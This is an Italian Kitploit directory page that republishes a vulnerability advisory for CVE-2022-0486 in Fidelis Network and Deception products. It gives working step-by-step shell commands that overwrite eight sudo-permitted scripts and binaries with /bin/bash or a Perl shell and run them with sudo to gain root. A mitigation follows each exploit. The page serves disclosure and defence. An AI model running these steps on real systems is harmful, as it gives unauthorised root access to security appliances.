Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-0486 — Fidelis Network and Deception - Escalation dei privilegi per permessi file non sicuri - Multipli | Kitploit
Strumenti/GitHubGitHub/henryreed/cve-2022-0486
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingRed TeamingBinary Exploitation
GitHubhenryreed/cve-2022-0486

CVE-2022-0486

Fidelis Network and Deception - Escalation dei privilegi per permessi file non sicuri - Multipli

Vedi Repository
4 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Fidelis Network and Deception - CVE-2022-0486 - Escalation dei privilegi tramite permessi file non sicuri - Multipli

Pubblicabilità e ringraziamenti

Tutti gli exploit sono stati approvati per la pubblicazione dal Governo degli Stati Uniti. Un ringraziamento speciale ai militari e ai collegamenti governativi incaricati di approvare la documentazione per la distribuzione illimitata. Fare riferimento ai seguenti numeri OTR:

  • OTR-2022-00482
  • OTR-2022-00483
  • OTR-2022-00484
  • OTR-2022-00485
  • OTR-2022-00486
  • OTR-2022-00488
  • OTR-2022-00489
  • OTR-2022-00490

Metadati

Data: 20220517 2005H UTC

Autore dell'exploit: Henry Reed, The Aerospace Corporation

Homepage del fornitore: https://fidelissecurity.com/

Versioni interessate:

  • Fidelis CommandPost precedente alla 9.4.5
  • Fidelis Collector precedente alla 9.4.5
  • Fidelis Sensor precedente alla 9.4.5
  • Fidelis Sandbox precedente alla 9.4.5

Testato su:

  • Fidelis CommandPost 9.4.3
  • Fidelis Collector 9.4.3
  • Fidelis (Internal VM) Sensor 9.4.3

CVE: CVE-2022-0486

Descrizione CVE: Permessi file impropri nei componenti CommandPost, Collector, Sensor e Sandbox di Fidelis Network and Deception consentono a un utente malintenzionato con accesso locale e amministrativo alla CLI di modificare file interessati e abilitare un'escalation di privilegi equivalente all'utente root. La vulnerabilità è presente nelle versioni di Fidelis Network and Deception precedenti alla 9.4.5. Patch e aggiornamenti sono disponibili per risolvere questa vulnerabilità.

In sintesi

Esistono diversi exploit per questa CVE, poiché la CVE copre una serie di permessi file impropri. Tutti gli exploit sono dovuti a un permesso NOPASSWD e a diversi permessi sudoers che richiedono una password, concessi all'utente fidelis su binari o script di proprietà dell'utente fidelis, consentendo quindi all'utente fidelis di modificare arbitrariamente il file. Ciò consente l'escalation locale dei privilegi.

File interessato con NOPASSWD:

  • /FSS/bin/shutdown.pl

File interessati che richiedono una password:

  • /FSS/setup/cert_mgmt
  • /FSS/bin/db_updater
  • /FSS/deception-manager/bin/deception-manager
  • /FSS/sbin/fssdbg.sh
  • /FSS/bin/mst
  • /FSS/bin/setup
  • /FSS/setup/unlock_cp_user.sh

Si consiglia agli utenti interessati di Fidelis Deception o Fidelis Network di aggiornare il proprio software per correggere questa vulnerabilità. Si raccomanda inoltre a tutti gli utenti, indipendentemente dal fatto che siano stati colpiti da questa vulnerabilità, di disabilitare l'accesso shell ai prodotti Fidelis dopo la configurazione iniziale.

Se, per qualche motivo, nessuna di queste opzioni è possibile, in questo documento viene descritta una mitigazione per ogni file vulnerabile. Sulla base dei test effettuati dall'autore, sembra che gli utenti debbano utilizzare una di queste vulnerabilità per elevare i privilegi prima di poter applicare le mitigazioni descritte, pertanto si consiglia vivamente di aggiornare Fidelis e disabilitare SSH.

Escalation dei privilegi di shutdown.pl

Testato su:

  • Fidelis CommandPost 9.4.3
  • Fidelis Collector 9.4.3
  • Fidelis (Internal VM) Sensor 9.4.3

Riepilogo:

Permessi di proprietà configurati in modo errato su /FSS/bin/shutdown.pl consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/bin/shutdown.pl come utente root senza richiedere una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente lo script e di elevare i privilegi.

Exploit:

  1. Modifica i permessi per consentire la modifica del file shutdown.pl:
root@kitploit:~
$ chmod 700 /FSS/bin/shutdown.pl
  1. Modifica il file come necessario per eseguire codice arbitrario o, in questo esempio, avviare una shell:
root@kitploit:~
$ echo '#!/usr/bin/perl -w' > /FSS/bin/shutdown.pl
$ echo "exec '/bin/sh';" >> /FSS/bin/shutdown.pl
$ cat /FSS/bin/shutdown.pl
#!/usr/bin/perl -w
exec '/bin/sh';
  1. Esegui il file usando il comando sudo:
root@kitploit:~
$ sudo /FSS/bin/shutdown.pl

Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità. Da notare la riga NOPASSWD, che indica che shutdown.pl è un potenziale candidato per l'escalation dei privilegi:

Mitigazione:

Modificare il proprietario utente e di gruppo di /FSS/bin/shutdown.pl in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/bin/shutdown.pl mitigherebbe questa vulnerabilità:

Escalation autenticata dei privilegi di cert_mgmt

Testato su:

  • Fidelis CommandPost 9.4.3
  • Fidelis Collector 9.4.3
  • Fidelis (Internal VM) Sensor 9.4.3

Riepilogo:

Permessi di proprietà configurati in modo errato su /FSS/setup/cert_mgmt consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/setup/cert_mgmt come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente lo script e di elevare i privilegi.

Exploit:

  1. Modifica i permessi per consentire la modifica del file cert_mgmt:
root@kitploit:~
$ chmod u+w /FSS/setup/cert_mgmt
  1. Modifica il file come necessario per eseguire codice arbitrario o, in questo esempio, avviare una shell:
root@kitploit:~
$ cp /bin/bash /FSS/setup/cert_mgmt
  1. Esegui il file usando il comando sudo e autenticati con la password dell'utente fidelis:
root@kitploit:~
$ sudo /FSS/setup/cert_mgmt

Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Mitigazione:

Modificare il proprietario utente e di gruppo di /FSS/setup/cert_mgmt in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/setup/cert_mgmt mitigherebbe questa vulnerabilità:

Escalation autenticata dei privilegi di db_updater

Testato su:

  • Fidelis CommandPost 9.4.3

Riepilogo:

Permessi di proprietà configurati in modo errato su /FSS/bin/db_updater consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in Fidelis CommandPost. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/bin/db_updater come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente il binario e di elevare i privilegi.

Exploit:

  1. Modifica i permessi per consentire la modifica del file db_updater:
root@kitploit:~
$ chmod u+w /FSS/bin/db_updater
  1. Modifica il file come necessario per eseguire codice arbitrario o, in questo esempio, avviare una shell:
root@kitploit:~
$ cp /bin/bash /FSS/bin/db_updater
  1. Esegui il file usando il comando sudo e autenticati con la password dell'utente fidelis:
root@kitploit:~
$ sudo /FSS/bin/db_updater

Mitigazione:

Modificare il proprietario utente e di gruppo di /FSS/bin/db_updater in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/bin/db_updater mitigherebbe questa vulnerabilità:

Escalation autenticata dei privilegi di deception-manager

Testato su:

  • Fidelis CommandPost 9.4.3

Riepilogo:

Permessi di proprietà configurati in modo errato su /FSS/deception-manager/bin/deception-manager consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in Fidelis CommandPost. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/deception-manager/bin/deception-manager come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente il binario e di elevare i privilegi.

Exploit:

  1. Modifica il file come necessario per eseguire codice arbitrario o, in questo esempio, avviare una shell:
root@kitploit:~
$ cp /bin/bash /FSS/deception-manager/bin/deception-manager
  1. Esegui il file usando il comando sudo e autenticati con la password dell'utente fidelis:
root@kitploit:~
$ sudo /FSS/deception-manager/bin/deception-manager

Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Mitigazione:

Modificare il proprietario utente e di gruppo di /FSS/deception-manager/bin/deception-manager in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/deception-manager/bin/deception-manager mitigherebbe questa vulnerabilità:

Escalation autenticata dei privilegi di fssdbg.sh

Testato su:

  • Fidelis CommandPost 9.4.3
  • Fidelis Collector 9.4.3
  • Fidelis (Internal VM) Sensor 9.4.3

Riepilogo:

Permessi di proprietà configurati in modo errato su /FSS/sbin/fssdbg.sh consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/sbin/fssdbg.sh come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente lo script e di elevare i privilegi.

Exploit:

  1. Modifica i permessi per consentire la modifica del file fssdbg.sh:
root@kitploit:~
$ chmod u+w /FSS/sbin/fssdbg.sh
  1. Modifica il file come necessario per eseguire codice arbitrario o, in questo esempio, avviare una shell:
root@kitploit:~
$ cp /bin/bash /FSS/sbin/fssdbg.sh
  1. Esegui il file usando il comando sudo e autenticati con la password dell'utente fidelis:
root@kitploit:~
$ sudo /FSS/sbin/fssdbg.sh

Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Mitigazione:

Modificare il proprietario utente e di gruppo di /FSS/sbin/fssdbg.sh in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/sbin/fssdbg.sh mitigherebbe questa vulnerabilità:

Escalation autenticata dei privilegi di mst

Testato su:

  • Fidelis CommandPost 9.4.3
  • Fidelis Collector 9.4.3
  • Fidelis (Internal VM) Sensor 9.4.3

Riepilogo:

Permessi di proprietà configurati in modo errato su /FSS/bin/mst consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/bin/mst come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente il binario e di elevare i privilegi.

Exploit:

  1. Modifica i permessi per consentire la modifica del file mst:
root@kitploit:~
$ chmod u+w /FSS/bin/mst
  1. Modifica il file come necessario per eseguire codice arbitrario o, in questo esempio, avviare una shell:
root@kitploit:~
$ cp /bin/bash /FSS/bin/mst
  1. Esegui il file usando il comando sudo e autenticati con la password dell'utente fidelis:
root@kitploit:~
$ sudo /FSS/bin/mst

Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Mitigazione:

Modificare il proprietario utente e di gruppo di /FSS/bin/mst in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/bin/mst mitigherebbe questa vulnerabilità. Di seguito è riportato uno screenshot che mostra la mitigazione dell'escalation dei privilegi e un estratto dell'output del comando mst quando eseguito da fidelis senza sudo:

Screenshot che mostra che anche con la mitigazione, il comando può ancora essere eseguito come sudo dall'utente fidelis:

Screenshot che mostra che mst non può essere modificato per eseguire altro codice arbitrario quando viene utilizzata la mitigazione:

Escalation autenticata dei privilegi di setup

Testato su:

  • Fidelis CommandPost 9.4.3
  • Fidelis Collector 9.4.3
  • Fidelis (Internal VM) Sensor 9.4.3

Riepilogo:

Permessi di proprietà configurati in modo errato su /FSS/bin/setup consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/bin/setup come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente il binario e di elevare i privilegi.

Exploit:

  1. Modifica i permessi per consentire la modifica del file setup:
root@kitploit:~
$ chmod u+w /FSS/bin/setup
  1. Modifica il file come necessario per eseguire codice arbitrario o, in questo esempio, avviare una shell:
root@kitploit:~
$ cp /bin/bash /FSS/bin/setup
  1. Esegui il file usando il comando sudo e autenticati con la password dell'utente fidelis:
root@kitploit:~
$ sudo /FSS/bin/setup

Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Mitigazione:

Modificare il proprietario utente e di gruppo di /FSS/bin/setup in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/bin/setup mitigherebbe questa vulnerabilità:

Escalation autenticata dei privilegi di setup

Testato su:

  • Fidelis CommandPost 9.4.3
  • Fidelis Collector 9.4.3
  • Fidelis (Internal VM) Sensor 9.4.3

Riepilogo:

Permessi di proprietà configurati in modo errato su /FSS/setup/unlock_cp_user.sh consentono all'utente fidelis di elevare i privilegi fino a equivalere all'utente root in più prodotti Fidelis. Per impostazione predefinita, la configurazione sudoers consente all'utente fidelis di eseguire /FSS/setup/unlock_cp_user.sh come utente root se viene fornita una password. Il file è di proprietà dell'utente fidelis, consentendo a quest'ultimo di modificare arbitrariamente lo script e di elevare i privilegi.

Exploit:

  1. Modifica i permessi per consentire la modifica del file unlock_cp_user.sh:
root@kitploit:~
$ chmod u+w /FSS/setup/unlock_cp_user.sh
  1. Modifica il file come necessario per eseguire codice arbitrario o, in questo esempio, avviare una shell:
root@kitploit:~
$ cp /bin/bash /FSS/setup/unlock_cp_user.sh
  1. Esegui il file usando il comando sudo e autenticati con la password dell'utente fidelis:
root@kitploit:~
$ sudo /FSS/setup/unlock_cp_user.sh

Screenshot che mostra la scoperta e lo sfruttamento della vulnerabilità:

Mitigazione:

Modificare il proprietario utente e di gruppo di /FSS/setup/unlock_cp_user.sh in root:fidelis e consentire solo i permessi di lettura ed esecuzione al proprietario di gruppo di /FSS/setup/unlock_cp_user.sh mitigherebbe questa vulnerabilità:

Scarica lo strumento